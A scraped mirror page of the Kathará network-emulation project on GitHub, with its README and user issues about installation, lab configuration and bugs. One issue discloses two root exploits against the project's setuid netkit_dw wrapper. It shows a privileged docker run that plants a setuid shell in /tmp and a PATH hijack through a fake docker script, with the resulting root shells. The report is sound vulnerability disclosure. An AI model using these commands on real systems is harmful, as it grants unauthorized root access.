Coder Social home page Coder Social logo

katharaframework / kathara Goto Github PK

View Code? Open in Web Editor NEW
393.0 16.0 61.0 4.2 MB

A lightweight container-based network emulation system.

Home Page: https://www.kathara.org/

License: GNU General Public License v3.0

Shell 0.44% Python 97.31% Batchfile 0.07% Dockerfile 0.07% Makefile 1.51% HTML 0.27% Inno Setup 0.32%
netkit docker nfv sdn python ospf rip bgp dns-server p4

kathara's Introduction

Kathará

License: GPL v3

What is it?

Kathará (from the Greek Καθαρά, purely) is a lightweight network emulation system based on Docker containers. It can be really helpful in showing interactive demos/lessons, testing production networks in a sandbox environment, or developing new network protocols.

Kathará is the spiritual successor of the notorious Netkit, hence it is cross-compatible, and inherits its language and features.

How does it work?

Each network device is emulated by a container. Virtual network devices are interconnected by virtual L2 LANs.

Each container can potentially run a different Docker image. Built-in images include Quagga, FRRouting, Bind, P4, OpenVSwitch, and more, but you can also use your own container images. For more information about Kathará images please visit the dedicated repository.

Kathará extremely simplifies the creation of complex networks using the concept of network scenario: a directory containing a file with the network topology, and, foreach device, files and folders containing the configuration of that device.

Kathará emulates network scenarios using either Docker or Kubernetes as backend virtualization system.

Installation

Install Docker and then run the installer specific for your Operating System. For a step-by-step guide check the Wiki.

For further information on how to use Kathará on Kubernetes (Megalos) please refer to the Wiki Page.

Kathará also provides a set of Python APIs. See the Python APIs Tutorial and the docs.

Quick Example

  • Install Kathará by following the Installation section.
  • Download and unpack the network scenario of a "Small Internet" from here (network topology can be found here).
  • cd inside small-internet-with-dns-webserver and run kathara lstart.
  • Kathará will read the configuration of the scenario from lab.conf and the various *.startup files and start the devices, opening terminal windows to interact with them.
  • After you're done experimenting, simply run kathara lclean and wait until the network scenario closes.

Publications and Presentations

Kathará is developed by Roma Tre Computer Networks and Security Research Group.

Several publications are related to the tool:

Kathará has been also presented in meetings and workshops:

External Tools

  • Netkit Lab Generator, a GUI that allows the easy creation of a network scenario configuration and the visualization of its network topology.
  • VFTGen, a tool that allows to create three levels Fat Tree topologies (single-plane or multi-planes) and automatically configure them to run on Kathará.
  • Tacatá, a lightweight Python script which creates Netkit and Kathará labs using an enriched version of the lab.conf file with a simple syntax.
  • net-vis, a tool that parses (and generates) the lab.conf file and all the .startup files to visualize the network.
  • kathara-lab-starter, an easy and extensible tool to get a kathara lab started. Utilizing JSON input files, it accelerates setup, while minimizing configuration redundancies.

Success Stories

As far as we know, Kathará is currently being used in many courses and projects.

We encourage you to tell us your story!

We are also collecting network scenarios from the community. If you want to be added to the list, please contact us!

Join Us

Kathará is an open source project. Feel free to download the code, play with it, and submit feature requests, notify bugs, or open pull requests!

Thanks to everyone who has contributed to the development of Kathará!

kathara's People

Contributors

5amu avatar drjume avatar federicoyusteenappar avatar gmgigi96 avatar i404788 avatar itgenie98 avatar kidel avatar lorenzo93 avatar mttbernardini avatar neejayanglea avatar nopid avatar patrigna avatar s3ntinelx avatar skazza94 avatar tcaiazzi avatar whatever4711 avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

kathara's Issues

Problem with Linux installation

Hi, I've followed your Linux installation guide and I've been trying to test if everything went well through the example you give with MARACAS_lab.
I get this series of errors though and I don't know how to fix them:
1

What can I do?

Assign a dedicated cpu core to each container

I need to assign a dedicated number of cores to each container in the network topology due to the performance issues. I know that it is possible to assign a dedicated amount of memory to each container but not sure about the number of cores. Looking at docker documentation I found this:
https://docs.docker.com/config/containers/resource_constraints/

which for example says "If you have 1 CPU, each of the following commands guarantees the container at most 50% of the CPU every second.
Docker 1.13 and higher:
docker run -it --cpus=".5" ubuntu /bin/bash
Docker 1.12 and lower:
$ docker run -it --cpu-period=100000 --cpu-quota=50000 ubuntu /bin/bash
"
Any chance to do that?

traffic analysis

I'm interested in kathara, it's a great simulation tool. I now try to use it to simulate a routing network for network traffic analysis. However, currently only ping mode can be used. The amount of this traffic is too small to meet the requirements. Do you have a better way? Many thanks.

Secondary interfaces not available with sysctl

Describe the bug
When running with sysctl secondary interfaces (eth1, etc; eth0 works fine) cannot be used, as it is not available in /proc/sys/net/*/conf/

I was wondering if there is a way to add the interfaces to docker before docker applies sysctl.

To Reproduce
Steps to reproduce the behavior:

  1. Create device with 2 interfaces (network groups)
  2. Add [sysctl]="net.ipv6.conf.eth1.accept_ra=1" to the device

Expected behavior
A successful sysctl modification

Screenshots
The exact error is:

CRITICAL - 500 Server Error: Internal Server Error ("OCI runtime create failed: container_linux.go:346: starting container process caused "process_linux.go:449: container init caused \"write sysctl key net.ipv6.conf.eth1.accept_ra: open /proc/sys/net/ipv6/conf/eth1/accept_ra: no such file or directory\"": unknown")
"check" Command Output
  • Current Manager is: Docker (Kathara)
  • Manager version is: 19.03.6
  • Python version is: 3.7.3 (default, Dec 20 2019, 18:57:59) - [GCC 8.3.0]
  • Kathara version is: 2.2.2
  • Trying to run Hello World container...
    Deploying links...
    Deploying machines... |################################| 1/1
  • Container run successfully.
    Deleting machines... |################################| 1/1
    Deleting links...

Eth2 not showing

Ciao, ho creato un semplice lab:

  • lab.conf
consumer[0]=A

switch1[1]=A
switch1[2]=B

producer[0]=B
  • producer.startup
    ifconfig eth0 192.168.0.2/16 up

  • consumer.startup
    ifconfig eth0 192.168.0.1/16 up

Quando lo avvio con lstart la macchina switch1 non ha la porta eth2.
Infatti, se provo ad aggiungere il seguente file, il comando ovs-vsctl add-port br0 eth2 non va a buon fine:

  • switch1.startup
service openvswitch-switch start

ovs-vsctl add-br br0
ovs-vsctl add-port br0 eth1
ovs-vsctl add-port br0 eth2

ifconfig br0 up

L'errore è mio o del simulatore? Grazie

Long Path of the lab

hello,

I wanted to deploy a SDN network using Kathara with 2 Ryu controller as follow:

4 switches,2 RYU controllers and 4 hosts which runs successfully.

while by extending it to 7 switches, 2 controllers,5 hosts, I receive an error which is :
"
========================= Starting Lab ==========================
Command line too long, probably because of a long path to this lab. Try moving the lab to a shorter path. The status is now corrupted, please run lclean or lwipe.
"

Both labs were in the same path but I got this error only for the extended version of the scenario. I moved the file to /home directory but still facing the same problem.

Any comment or idea is highly appreciated.

Connect Lab to Internet

Is there a way in Kathara to access Internet from the Lab, in a similar fashion to the way we are used to in Netkit?

What I usually do in netkit is to set a tap interface on the host machine and route all the traffic going to the lab to the first node of the lab itself.

"net.ipv4.conf.all.rp_filter = 0" setting doesn't work

Hi, I am a newbie to Kathara.
I have recently tested the icn-20180117 lab, I run accross a question.
When the lab starts, it prompts "net.ipv4.conf.all.rp_filter = 0". But the host's default and interface rp_filter setting doesn't change.
when i run the command "sysctl -a | grep "\.rp_filter", I get the prompt" net.ipv4.conf.all.rp_filter = 0
net.ipv4.conf.default.rp_filter = 1
net.ipv4.conf.eth0.rp_filter = 1
net.ipv4.conf.lo.rp_filter = 1" .
it results in that host as4r2 can not succeed to ping as1r2.

!!!!!!!!!when i manually close the rp_filter function of all hosts, as4r2 can succeed to ping as1r2.

So I think this may be an issue.

Critical error when .deb files in device directory

Describe the bug
I just want to install some .deb packets at startup, copying them in the directory of a device. However, I receive this error: CRITICAL - object of type 'NoneType' has no len()
In the specific, I want to install udpchd, then I copied the files busybox_1%3a1.22.0-19+b3_amd64.deb udhcpd_1%3a1.22.0-19+b3_amd64.deb
in my pc1 directory

To Reproduce
Steps to reproduce the behavior:

  1. Create a very simple lab.conf with only one machine
  2. Copy the two files (acquired using apt install -d udhcpd) in the machine
  3. kathara lstart
  4. See error

Expected behavior
The machine installs the packages and runs with it.

Screenshots

"check" Command Output * Current Manager is: Docker (Kathara) * Manager version is: 18.09.7 * Python version is: 3.6.9 (default, Nov 7 2019, 10:44:02) - [GCC 8.3.0] * Kathara version is: 2.2.1 * Trying to run `Hello World` container... Deploying links... Deploying machines... |################################| 1/1 * Container run successfully. Deleting machines... |################################| 1/1 Deleting links...

Make it possible to use sysctl in the configuration file

Apologies if I'm using bad terminology, I'm not really familiar with the intrinsics of docker.

As you well know, sysctl does not work inside the container. However it is possible to fix some options when the container is launched. In particular you fix net.ipv4.ip_forward=1 for obvious reasons, and
net.ipv4.icmp_ratelimit=0

I would like to have the possibility in the configuration file to fix some other sysctl (individually per machine or for all machines).

Typically, I would like to disable ip forwarding for some machines, and to disable tcp_sack (which I prefer when teaching TCP to students for the first time).

I actually did put a sysctl_parameters["net.ipv4.tcp_sack"] = 0 line in DockerMachine.py for my personal use, but it would be best if this was configurable.

It doesn't look too hard, and I could probably do it myself and give a patch, provided one agrees about which syntax to take for the configuration file.

Thanks,

E.

Major Security Issue with Kathara install

Hi,

Here are 2 local escalation vulnerabilities because netkit_dwis insecure and installed as setuid root.

Vuln 1: weak string comparisons in netkit_dw.c

Exploitation:

alex@machine:~$ $KATHARAINSTALLDIR/bin/wrapper/bin/netkit_dw run \
--net=host \
 --ipc=host \
--uts=host \
--pid=host \
-i \
--security-opt=seccomp=unconfined \
--privileged \
--rm -v /:/host alpine /usr/sbin/chroot /host /bin/sh -c "echo 0 > /sys/class/net/br-XXXXXXXXXXXX/bridge/ageing_time; \
echo 65528 > /sys/class/net/br-XXXXXXXXXXXX/bridge/group_fwd_mask ; \
cp /bin/sh /tmp/s; chmod a+s /tmp/s"
/bin/sh: 1: cannot create /sys/class/net/br-XXXXXXXXXXXX/bridge/ageing_time: Directory nonexistent
/bin/sh: 1: cannot create /sys/class/net/br-XXXXXXXXXXXX/bridge/group_fwd_mask: Directory nonexistent
alex@machine:~$ /tmp/s -p
# whoami
root
#

Cause of this vulnerability : https://github.com/KatharaFramework/Kathara/blob/master/bin/wrapper/netkit_dw.c#L92
length does not check user supplied length (it can be greater, but still match the comparison).

Vuln 2: no environnement check in netkit_dw.c

The following command sequence allow you to get a root shell:

alex@machine:/tmp/exploit$ cat docker 
#!/bin/sh
sh
alex@machine:/tmp/exploit$ export PATH=.:$PATH 
alex@machine:/tmp/exploit$ [KATHARA INSTALL DIR]/bin/wrapper/bin/netkit_dw ls
# whoami
root
#

This is because: https://github.com/KatharaFramework/Kathara/blob/master/bin/wrapper/netkit_dw.c#L207, does not check environment (PATH variable). Any docker script in PATH will be executed as root.

Workaround

This vulnerable app should not be installed as setuid root (it's an open backdoor). User can use sudo or become root when in need for this.

Thank for the great tool

Alex - 15DgZkqe2Ee2MjAssJjVrN9WCf4LwZGquE

How to install kathara on centOS 8?

Hi Team,

Can you please let me know how to install Kathara on centOS 8? I referred this from documentation, but could not able to find installation steps for centOS from that link. Please help on this.

Thanks

docker privileged(ubuntu) bug

hi, when i start a lab using kathara, it prompts "tcpdump: error while loading shared libraries: libcrypto.so.1.0.0: cannot open shared object file: Permission denied" and the tcpdump command doesn't work.
I try to search the solution to this question by google and find that this may be docker privileged(ubuntu) bug , and the solution that it works is below:
!!!!!!run the following command in docker, it can solve the problem temporarily.
mv /usr/sbin/tcpdump /usr/bin/tcpdump
ln -s /usr/bin/tcpdump /usr/sbin/tcpdump
I suggest that the above commands can be added to the docker image to solve this issue.

Cannot comment a single line in a configuration file

If I comment a single line in a configuration file, also the lines below it are ignored.

Steps to reproduce the behavior:

  1. Edit a lab configuration file (I've tried with a .startup file)
  2. Comment out a line which has other lines below it. e.g.:
    ifconfig eth0 30.0.0.3/24 up
    # route add default gw 30.0.0.1 dev eth0
    /etc/init.d/bind start
  3. Start the lab
  4. Notice that the line below the comment are ignored (in the example, /etc/init.d/bind start is ignored)

Expected behaviour: only the commented line should be ignored

Kathará version: 0.34

"check" Command Output ``` Docker version is Docker version 18.06.1-ce, build e68fc7a

Trying to run Docker Hello World

Hello from Docker!
This message shows that your installation appears to be working correctly.

To generate this message, Docker took the following steps:

  1. The Docker client contacted the Docker daemon.
  2. The Docker daemon pulled the "hello-world" image from the Docker Hub.
    (amd64)
  3. The Docker daemon created a new container from that image which runs the
    executable that produces the output you are currently reading.
  4. The Docker daemon streamed that output to the Docker client, which sent it
    to your terminal.

To try something more ambitious, you can run an Ubuntu container with:
$ docker run -it ubuntu bash

Share images, automate workflows, and more with a free Docker ID:
https://hub.docker.com/

For more examples and ideas, visit:
https://docs.docker.com/get-started/

Python version is
Python 2.7.10

NETKIT_HOME is
/Users/Massi/Kathara/bin

Kathara version is
/Users/Massi/Kathara/bin/kathara_version

Config file contents are
unix_bin=/Users/Massi/Kathara/bin/wrapper/bin/netkit_dw

Netkit temp folder contains
labs last_network_counter.txt

</details>

How to create a symmetric NAT

Hi Kathara team,

Thank you for such a nice tool.
I would like to know the documentation or steps to create symmetric NAT.
I can able to create router, but could not able to create NAT.

My apologies if it is basic question.

Thanks in advance.

Problems with MacOs installation

Describe the bug: No such file or directory: '/Users/Myname/Kathara/bin/../config'
A clear and concise description of what the bug is.
Impossibility to find a file

Expected behavior
Should open a lab

Screenshots
Traceback (most recent call last):
File "/Users/Myname/Kathara/bin/python/folder_hash.py", line 3, in
import netkit_commons as nc
File "/Users/Myname/Kathara/bin/python/netkit_commons.py", line 44, in
kat_config = read_config()
File "/Users/Myname/Kathara/bin/python/netkit_commons.py", line 36, in read_config
ini = u'[dummysection]\n' + open(os.path.join(os.environ['NETKIT_HOME'], '..', 'config'), 'r').read()
IOError: [Errno 2] No such file or directory: '/Users/myName/Kathara/bin/../config'

"check" Command Output ``` Docker version is Docker version 18.09.2, build 6247962

Trying to run Docker Hello World

Hello from Docker!
This message shows that your installation appears to be working correctly.

To generate this message, Docker took the following steps:

  1. The Docker client contacted the Docker daemon.
  2. The Docker daemon pulled the "hello-world" image from the Docker Hub.
    (amd64)
  3. The Docker daemon created a new container from that image which runs the
    executable that produces the output you are currently reading.
  4. The Docker daemon streamed that output to the Docker client, which sent it
    to your terminal.

To try something more ambitious, you can run an Ubuntu container with:
$ docker run -it ubuntu bash

Share images, automate workflows, and more with a free Docker ID:
https://hub.docker.com/

For more examples and ideas, visit:
https://docs.docker.com/get-started/

Python version is
Python 2.7.10

NETKIT_HOME is
/Users/myName/Kathara/bin

Kathara version is
0.34.1

Config file contents are
cat: /Users/myName/Kathara/bin/../config: No such file or directory

Netkit temp folder contains
labs

</details>

wrong permissions on directories of lab nodes downloading the zip

Describe the bug
In LoadBalancerRandom lab when trying to use the links command on a server, it produces a '403 forbidden' error.

To Reproduce and Solution
Once downloaded the LoadBalancerRandom lab in Kathara-Labs/Application Level as zip file, the permissions of server* and his sub-directories are setted on 700 rather then 754.
Using git clone it works fine.

Unable to access to user's public_html dir

In a scenario with apache2 enabled and userdir module enabled I should be able to access to user's public_html dir, for example with links http://open.me/~guest/. Instead, when I try to do this, apache give me error 404. Is a problem of apache? Or is a problem of XTerm that doesn't recognize ~ in the correct way?

Steps to reproduce the behavior:

  1. Create lab with a web server and "userdir" module enabled.
  2. Put an index.html page in /home/guest/public_html on the server.
  3. On a host, try links http://<server-ip>/~guest/
  4. You should see the home putted before in the directory, instead an error 404 will appear.

Screenshot:
screenshot from 2018-11-15 15-57-17

"check" Command Output ``` Python version is Python 2.7.13

NETKIT_HOME is
/opt/Kathara/bin/check: line 18: ECHO: command not found

Kathara version is
/opt/Kathara/bin/kathara_version

Config file contents are
unix_bin=/opt/Kathara/bin/wrapper/bin/netkit_dw

Netkit temp folder contains
eTuSJ-_ZskNDdZF-wKHvxQ_links labs
eTuSJ-_ZskNDdZF-wKHvxQ_machines last_network_counter.txt

</details>

command ftp from startup

Describe the bug
It is not possible to install ftp from the startup files.

Expected behavior
I'd expect to use ftp after starting the lab but the command is not found.

Python 3 support

Describe the bug
Python 2 support ends on Jan 1, 2020 (see https://pythonclock.org/ ). The project should use Python 3 if it's compatible, or at least, it should suggest to use Python 3, and not Python 2, on readme files and doc.

To Reproduce
No steps required.

Expected behavior
Not applicable.

Screenshots
Not applicable.

PROBLEM ON UBUNTU (VIRTUAL BOX) INSTALLATION

I'm installing Kathara on Ubuntu in VirtualBox (i'm not used to work with linux systems).
I've followed exactly ALL the steps mentioned in wiki (step by step). Precisely i've executed these commands on my bash:

  1. curl -fsSL https://get.docker.com -o get-docker.sh
  2. sudo sh get-docker.sh
  3. sudo apt install python
  4. sudo apt install build-essential
  5. sudo apt install xterm
  6. i've downloaded kathara 3.3 (source code tar.gz), i've extracted it in a folder called "kathara" and i've pasted this folder into the "opt" folder. So into my "opt" folder there is a folder called "kathara".
  7. export NETKIT_HOME=/opt/kathara/bin
  8. $NETKIT_HOME/install

After the 7) and 8) steps it downloads the image, so now executing again it i have this response:

image

python is installed (2.7):

image

docker-CE is installed:

image

docker (?) i don't know

image

Although this, when i try to execute vstart command (e.g) it doesn't work.

image

Why? Let me know please, thanks.

interface and convenience

Hello.
I am using kathara and it is a nice tool.
There are two issues that bother me now, and I want to discuss them with you.
One is that I need to write multiple configuration files each time. Is there any more convenient operation to avoid these operations. For example, I want to build an upper-level interface, and run it through the interface instead of the configuration file.
The other is how I can output the results to my host. For example, I want to output the obtained routing information to an external host. I haven't figured out how to achieve this.
Do you have any suggestions for these?
Looking forward to your reply.

Issues with shared files and uppercase host names

Describe the bug
It looks like files under host_name/ directory seems to be not copied over to the host when machine is started and host_name is uppercase. files under the path shared/ get not copied aswell.

To Reproduce
Steps to reproduce the behavior:

  1. Create lab with host names uppercase
  2. Create directories and files to deploy files like 'pc1/etc/resol.conf'
  3. lstart the machine
  4. notice that no files gets copied over

Expected behavior
I expect to see the deployed files

"check" Command Output ``` Docker version is Docker version 18.06.1-ce, build e68fc7a

Trying to run Docker Hello World

Hello from Docker!
This message shows that your installation appears to be working correctly.

To generate this message, Docker took the following steps:

  1. The Docker client contacted the Docker daemon.
  2. The Docker daemon pulled the "hello-world" image from the Docker Hub.
    (amd64)
  3. The Docker daemon created a new container from that image which runs the
    executable that produces the output you are currently reading.
  4. The Docker daemon streamed that output to the Docker client, which sent it
    to your terminal.

To try something more ambitious, you can run an Ubuntu container with:
$ docker run -it ubuntu bash

Share images, automate workflows, and more with a free Docker ID:
https://hub.docker.com/

For more examples and ideas, visit:
https://docs.docker.com/get-started/

Python version is
Python 2.7.15+

NETKIT_HOME is
/opt/Kathara/bin//check: riga 18: ECHO: comando non trovato

Kathara version is
0.34.1

Config file contents are
unix_bin=/opt/Kathara/bin//wrapper/bin/netkit_dw

Netkit temp folder contains
labs

</details>

Question : About /shared and /hostname directories

Hi,

I don't understand how the kathara settings number 4 and 5 work. When launching a new lab with default settings, I can access the /shared and /hostname folders. I thought that if I was disabling the "automatic mount" option, these folders would disappear from the virtual machines, or at least be unaccessible, but I still can access them when these options are desactivated (I checked the ~/.conf/kathara.conf JSON just to be sure).
So I am afraid I did not understand the purpose of these options, or how it works.

Thanks in advance. Regards

Different interface name connection fails?

Hi all,

I am creating a simple interdomain topology with two border routers. The framework cannot connect two interfaces of two border routers (C-----eth1--R2--eth0--------B--------eth1--R1--eth0--------A). I cannot ping from eth0 of R2 to eth1 of R1. Am I doing something wrong?

Here is the script generated by Kathara lab generator;
#! /bin/sh

Remember to use 'chmod +x' (o 'chmod 500') on the .sh file. The script will self-destruct

rm -rf "$(dirname "$0")/lab"
mkdir "$(dirname "$0")/lab"
cd "$(dirname "$0")/lab"

mkdir -p router1
mkdir -p router2
mkdir -p router1/etc/zebra
mkdir -p router2/etc/zebra
touch lab.conf
echo 'router1[0]=A' >> lab.conf
echo 'router1[1]=B' >> lab.conf
echo 'router2[0]=B' >> lab.conf
echo 'router2[1]=C' >> lab.conf
touch router1.startup
echo 'ifconfig eth0 10.0.0.1/24 up' >> router1.startup
echo 'ifconfig eth1 10.0.0.2/24 up' >> router1.startup
echo '/etc/init.d/zebra start' >> router1.startup
touch router2.startup
echo 'ifconfig eth0 10.0.0.3/24 up' >> router2.startup
echo 'ifconfig eth1 20.0.0.1/24 up' >> router2.startup
echo '/etc/init.d/zebra start' >> router2.startup
touch router1/etc/zebra/daemons
echo 'zebra=yes' >> router1/etc/zebra/daemons
echo 'bgpd=yes' >> router1/etc/zebra/daemons
touch router1/etc/zebra/zebra.conf
echo 'hostname zebra' >> router1/etc/zebra/zebra.conf
echo 'password zebra' >> router1/etc/zebra/zebra.conf
echo 'enable password zebra' >> router1/etc/zebra/zebra.conf
echo 'log file /var/log/zebra/zebra.log' >> router1/etc/zebra/zebra.conf
touch router1/etc/zebra/bgpd.conf
echo 'hostname bgpd' >> router1/etc/zebra/bgpd.conf
echo 'password zebra' >> router1/etc/zebra/bgpd.conf
echo 'enable password zebra' >> router1/etc/zebra/bgpd.conf
echo 'router bgp 1' >> router1/etc/zebra/bgpd.conf
echo 'network 10.0.0.0/24' >> router1/etc/zebra/bgpd.conf
echo 'neighbor 10.0.0.3 remote-as 2' >> router1/etc/zebra/bgpd.conf
echo 'log file /var/log/zebra/bgpd.log' >> router1/etc/zebra/bgpd.conf
echo 'debug bgp' >> router1/etc/zebra/bgpd.conf
echo 'debug bgp events' >> router1/etc/zebra/bgpd.conf
echo 'debug bgp filters' >> router1/etc/zebra/bgpd.conf
echo 'debug bgp fsm' >> router1/etc/zebra/bgpd.conf
echo 'debug bgp keepalives' >> router1/etc/zebra/bgpd.conf
echo 'debug bgp updates' >> router1/etc/zebra/bgpd.conf
touch router2/etc/zebra/daemons
echo 'zebra=yes' >> router2/etc/zebra/daemons
echo 'bgpd=yes' >> router2/etc/zebra/daemons
touch router2/etc/zebra/zebra.conf
echo 'hostname zebra' >> router2/etc/zebra/zebra.conf
echo 'password zebra' >> router2/etc/zebra/zebra.conf
echo 'enable password zebra' >> router2/etc/zebra/zebra.conf
echo 'log file /var/log/zebra/zebra.log' >> router2/etc/zebra/zebra.conf
touch router2/etc/zebra/bgpd.conf
echo 'hostname bgpd' >> router2/etc/zebra/bgpd.conf
echo 'password zebra' >> router2/etc/zebra/bgpd.conf
echo 'enable password zebra' >> router2/etc/zebra/bgpd.conf
echo 'router bgp 2' >> router2/etc/zebra/bgpd.conf
echo 'network 20.0.0.0/24' >> router2/etc/zebra/bgpd.conf
echo 'neighbor 10.0.0.2 remote-as 1' >> router2/etc/zebra/bgpd.conf
echo 'log file /var/log/zebra/bgpd.log' >> router2/etc/zebra/bgpd.conf
echo 'debug bgp' >> router2/etc/zebra/bgpd.conf
echo 'debug bgp events' >> router2/etc/zebra/bgpd.conf
echo 'debug bgp filters' >> router2/etc/zebra/bgpd.conf
echo 'debug bgp fsm' >> router2/etc/zebra/bgpd.conf
echo 'debug bgp keepalives' >> router2/etc/zebra/bgpd.conf
echo 'debug bgp updates' >> router2/etc/zebra/bgpd.conf
rm "../$0"

Ciao,
Habib

vstart not working properly

Typing the command (from Kathara Manual])

vstart --eth 0:A --eth 1:B pc1

actually creates a new VM only with one (eth0) network interfaces

Both eth0 and eth1 were expected to be created.

check.txt

Missing brctl

Ciao, non sono riuscito ad eseguire il comando brctl perché non risulta installato il package bridge-utils. Nei lab sul sito di Netkit invece se ne fa uso normalmente senza dover installare nulla

Enable customized tap IP addresses

I tried to reuse a lab configuration that was working under netkit. The lab was using the tap directive, to provide an exit point to internet. It seems like in Kathara the IP addresses of the IP tap are configured differently. In particular, the in the conf file there is
boundary[0]=tap,10.10.10.1,10.10.10.2
but the IP assigned to eth0 of boundary is 172.33.0.2/16, while the one assigned to the other end of the tap is 172.33.0.1/16
Then, I have to manually add the default route in boundary with the correct IP.
Is there a way to customize the tap IP addresses?

EDIT: after some extra effort, it seems to have understood that in Kathara the mechanism is completely different. Thanks to Docker, everything is already there for every machine: if no config is done, a subnet from 172.something is taken and used to assign IP addresses, together with a default route and a dns towards the host. Am I in the right direction?

How to access .pcap file in virtual machine Kathará from host machine

Hello everyone,

I have a question about sharing file between Kathará virtual machine and host installed Docker. How can we access a file in Kathará VM from host? As the previous Netkit, we can access files from host by using /hosthome (shared folder between VM and host). But how about the Kathará in case access the file in VM without copying it from VM to host?

Thanks a lot.

lstart for only one virtual machine

Hello everyone,

I have a question about the starting a virtual machine with Kathará.

The question is: How can I use the lstart command to start only 1 machine instead of all of the machine I declared.
Example: I created the folder named TestLab. In this folder, there are 2 subfolder named PC1 and PC2. Moreover, I had the .startup files for them. But, I cannot use lstart PC2 as I used before in Netkit to start only PC2.

Please help me and thanks a lot.

How to allow host internet access to Kathara docker node?

Is your feature request related to a problem? Please describe.
I want to have access to the internet network my node is connected to. How to do it?

Describe the solution you'd like
Any that would not include manual node stop->start->new ip->manual network rerouting

At least what can be done in theory to implement or automate this?

DockerFiles

I've played with creating my own docker images, starting from a ubuntu image instead of kathara/netkit_base. It looks like it works perfectly, but i'm wondering if i'm wrong or not, especially since i didn't find the dockerfile of kathara/netkit_base. Could you provide it ?

By the way, for my usage (teaching), i would find it great to have a way to specify a dockerfile inside the lab configuration (extending machine.startup for example).
Here is a use-case. I have different labs with different packages installed inside the containers.
I could pre-create the corresponding images. It is fine, but quite complicated in terms of administration, and hardly reproducible by my students at home.
I could also have "apt install" in the startup files. But it would make the container slow to restart after crashing, while with docker images, it is cached.

Best,

Julien

Docker API intenal server error deploying a lab

Describe the bug
While deploying a lab with lstart an error message (coming from Docker HTTP API) shows out, and the deployment stop.

Maybe is related to the way Kathara calls Docker API, see a similar issue here: projectcalico/calico#746 (comment)

To Reproduce
Steps to reproduce the behavior:

  1. Download labs from https://github.com/vitome/pnd-labs.git
  2. Open lab1 -> ex3
  3. kathara lstart
  4. See error

Expected behavior
A successful deployment.

Screenshots
Stacktrace:

user@katha:~/pnd-labs/lab1/ex3$ kathara lstart
======================= Starting Lab ========================
Description: Two lan, both with 2 pc and one router. Then, a border gateway. The assignment is: to configure the 4 pc and the three router so that the two lans are reachable and all can reach the Internet. More info in the README file.
Version: 1.1
Author(s): Angelo Spognardi
Email: [email protected]
Website: https://sites.google.com/di.uniroma1.it/netdef1920
=============================================================
Deploying links... |########################        | 3/4
Deploying machines...CRITICAL - 500 Server Error: Internal Server Error ("failed to create endpoint kathara_user_r1_UFai4gJZF8dHiH_A4PPZMQ on network kathara_user_internal: NetworkDriver.CreateEndpoint: EOF
")
"check" Command Output
$ kathara check
*	Current Manager is: Docker (Kathara)
*	Manager version is: 18.09.7
*	Python version is: 3.6.9 (default, Nov  7 2019, 10:44:02) - [GCC 8.3.0]
*	Kathara version is: 2.2.2
*	Trying to run `Hello World` container...
Deploying links...
Deploying machines... |################################| 1/1
*	Container run successfully.
Deleting machines... |################################| 1/1
Deleting links...

How to communicate between host machine and virtual pc1?

Hi Team,

I have created a one virtual pc1 as shown in the below pic. My use case is one application is running on pc1 and I would like to access that application on host machine. How to communicate between host machine and pc1. Please help on this.

Screenshot 2019-12-09

Thanks

/bin/sh: 1: /wrapper/bin/netkit_dw: not found

after i install kathara following the instructions, i run "lstart" command in lab directory and get the prompt "/bin/sh: 1: /wrapper/bin/netkit_dw: not found". The hosts are not up.

!!!! I manually change the file "$NETKIT_HOME/../config" like this "unix_bin=/home/username/Kathara/bin/wrapper/bin/netkit_dw", and it works. The error disappears and the hosts starts up successfully.

so i think this may be an issue.

SDN - openvSwitch lab

Salve, sto cercando di realizzare un piccolo laboratorio SDN, ho esteso l'image di base con l'installazione del controller Ryu, ma dopo aver fatto partire openvSwitch, non c'è verso di far comunicare lo switch con il controller Ryu (che ho avviato)

Cannot start lab when adding new folders manually

On MacOS Mojave 10.14.1, can't start lab when created from GUI when new folders are added manually to project (i.e. adding "var/www/html/" inside the "apache" folder)

Steps to reproduce the behavior:

  1. Create a lab with an apache web server
  2. Add folders to apache (i.e. "var/www/html/")
  3. Execute "lstart" on lab
    it gives the following error:
    Traceback (most recent call last):
    File "/Users/myname/Kathara/bin/python/lstart.py", line 155, in
    fc.win2linux_all_files_in_dir(machine_path)
    File "/Users/myname/Kathara/bin/python/file_conversion.py", line 13, in win2linux_all_files_in_dir
    win2linux(fpath)
    File "/Users/myname/Kathara/bin/python/file_conversion.py", line 7, in win2linux
    open(filename, 'wb').write(re.sub(r'\r', '', c).encode('utf-8'))
    UnicodeDecodeError: 'ascii' codec can't decode byte 0x80 in position 3131: ordinal not in range(128)

Expected behavior is: Lab starting correctly

"check" Command Output

Docker version is
Docker version 18.06.1-ce, build e68fc7a

Trying to run Docker Hello World
Unable to find image 'hello-world:latest' locally
latest: Pulling from library/hello-world
d1725b59e92d: Pull complete
Digest: sha256:0add3ace90ecb4adbf7777e9aacf18357296e799f81cabc9fde470971e499788
Status: Downloaded newer image for hello-world:latest

Hello from Docker!
This message shows that your installation appears to be working correctly.

To generate this message, Docker took the following steps:

  1. The Docker client contacted the Docker daemon.
  2. The Docker daemon pulled the "hello-world" image from the Docker Hub.
    (amd64)
  3. The Docker daemon created a new container from that image which runs the
    executable that produces the output you are currently reading.
  4. The Docker daemon streamed that output to the Docker client, which sent it
    to your terminal.

To try something more ambitious, you can run an Ubuntu container with:
$ docker run -it ubuntu bash

Share images, automate workflows, and more with a free Docker ID:
https://hub.docker.com/

For more examples and ideas, visit:
https://docs.docker.com/get-started/

Python version is
Python 2.7.10

NETKIT_HOME is
/Users/myname/Kathara/bin

Kathara version is
/Users/myname/Kathara/bin/kathara_version

Config file contents are
unix_bin=/Users/myname/Kathara/bin/wrapper/bin/netkit_dw

